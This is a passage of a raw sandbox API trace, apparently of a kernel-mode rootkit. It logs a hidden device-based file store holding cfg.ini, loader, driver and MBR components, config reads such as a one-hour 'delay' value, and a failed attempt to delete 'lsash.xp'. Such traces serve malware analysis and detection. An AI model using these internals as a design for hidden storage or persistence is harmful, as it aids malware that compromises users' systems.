ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.483] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.483] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.483] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.483] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.483] IdePortDispatch () returned 0x103 [0121.484] KeWaitForMutexObject () returned 0x0 [0121.484] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.484] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.484] KeLeaveCriticalRegion () [0121.484] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.484] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.484] KeEnterCriticalRegion () [0121.484] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.484] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b3b000 [0121.484] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.484] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.484] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.484] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.484] IdePortDispatch () returned 0x103 [0121.484] KeWaitForMutexObject () returned 0x0 [0121.484] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.484] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.484] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.484] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.484] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.484] IdePortDispatch () returned 0x103 [0121.484] KeWaitForMutexObject () returned 0x0 [0121.485] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.485] KeLeaveCriticalRegion () [0121.485] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.485] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.485] KeEnterCriticalRegion () [0121.485] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.485] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.485] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.485] KeLeaveCriticalRegion () [0121.485] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.485] KeEnterCriticalRegion () [0121.485] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.485] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.485] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc5330, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.485] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.485] KeLeaveCriticalRegion () [0121.485] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.485] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.485] KeEnterCriticalRegion () [0121.485] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.485] ExFreePoolWithTag (P=0xfffffa8003bc41c0, Tag=0x0) [0121.485] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.485] KeLeaveCriticalRegion () [0121.485] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.485] ReleaseMutex (hMutex=0xf0) returned 1 [0121.485] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.485] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.485] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.486] KeEnterCriticalRegion () [0121.486] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.486] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.486] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.486] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.486] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.486] IdePortDispatch () returned 0x103 [0121.486] KeWaitForMutexObject () returned 0x0 [0121.486] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.486] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.486] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.486] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.486] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.486] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc4280 [0121.486] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.486] KeLeaveCriticalRegion () [0121.486] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.486] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.486] KeEnterCriticalRegion () [0121.486] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.486] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.486] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.486] KeLeaveCriticalRegion () [0121.486] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.486] KeEnterCriticalRegion () [0121.486] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.486] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.486] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.486] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.486] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.486] IdePortDispatch () returned 0x103 [0121.486] KeWaitForMutexObject () returned 0x0 [0121.487] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.487] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.487] KeLeaveCriticalRegion () [0121.487] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.487] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.487] KeEnterCriticalRegion () [0121.487] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.487] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b3c000 [0121.487] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.487] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.487] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.487] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.487] IdePortDispatch () returned 0x103 [0121.487] KeWaitForMutexObject () returned 0x0 [0121.487] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.487] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.487] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.487] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.487] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.487] IdePortDispatch () returned 0x103 [0121.487] KeWaitForMutexObject () returned 0x0 [0121.487] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.487] KeLeaveCriticalRegion () [0121.487] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.488] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.488] KeEnterCriticalRegion () [0121.488] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.488] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.488] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.488] KeLeaveCriticalRegion () [0121.488] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.488] KeEnterCriticalRegion () [0121.488] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.488] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.488] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbdf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.488] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.488] KeLeaveCriticalRegion () [0121.488] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.488] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.488] KeEnterCriticalRegion () [0121.488] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.488] ExFreePoolWithTag (P=0xfffffa8003bc4280, Tag=0x0) [0121.488] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.488] KeLeaveCriticalRegion () [0121.488] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.488] ReleaseMutex (hMutex=0xf0) returned 1 [0121.488] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.488] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.488] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.488] KeEnterCriticalRegion () [0121.488] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.488] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.488] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.488] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.488] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.488] IdePortDispatch () returned 0x103 [0121.488] KeWaitForMutexObject () returned 0x0 [0121.489] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.489] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.489] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.489] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.489] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.489] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc5ea0 [0121.489] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.489] KeLeaveCriticalRegion () [0121.489] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.489] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.489] KeEnterCriticalRegion () [0121.489] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.489] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.489] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.489] KeLeaveCriticalRegion () [0121.489] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.489] KeEnterCriticalRegion () [0121.489] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.489] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.489] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.489] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.489] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.489] IdePortDispatch () returned 0x103 [0121.489] KeWaitForMutexObject () returned 0x0 [0121.489] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.489] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.489] KeLeaveCriticalRegion () [0121.489] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.489] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.489] KeEnterCriticalRegion () [0121.489] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.489] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b3d000 [0121.490] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.490] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.490] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.490] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.490] IdePortDispatch () returned 0x103 [0121.490] KeWaitForMutexObject () returned 0x0 [0121.490] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.490] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.490] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.490] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.490] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.490] IdePortDispatch () returned 0x103 [0121.490] KeWaitForMutexObject () returned 0x0 [0121.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.490] KeLeaveCriticalRegion () [0121.490] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.491] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.491] KeEnterCriticalRegion () [0121.491] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.491] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.491] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.491] KeLeaveCriticalRegion () [0121.491] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.491] KeEnterCriticalRegion () [0121.491] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.491] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.491] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.491] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.491] KeLeaveCriticalRegion () [0121.491] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.491] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.491] KeEnterCriticalRegion () [0121.491] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.491] ExFreePoolWithTag (P=0xfffffa8003bc5ea0, Tag=0x0) [0121.491] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.491] KeLeaveCriticalRegion () [0121.491] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.491] ReleaseMutex (hMutex=0xf0) returned 1 [0121.491] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.491] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.491] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.491] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.491] KeEnterCriticalRegion () [0121.491] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.491] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.491] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.491] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.491] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.491] IdePortDispatch () returned 0x103 [0121.492] KeWaitForMutexObject () returned 0x0 [0121.492] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.492] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.492] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.492] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.492] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.492] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.492] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.492] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.492] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.492] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.492] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.492] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.492] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.492] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.492] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.492] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.492] KeLeaveCriticalRegion () [0121.492] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.492] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.492] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.492] KeEnterCriticalRegion () [0121.492] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.492] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.492] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.492] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.492] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.492] IdePortDispatch () returned 0x103 [0121.493] KeWaitForMutexObject () returned 0x0 [0121.493] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.493] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.493] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.493] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.493] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.493] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.493] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.493] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.493] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.493] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.493] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.493] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.493] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.493] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.493] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.493] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.493] KeLeaveCriticalRegion () [0121.493] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.493] 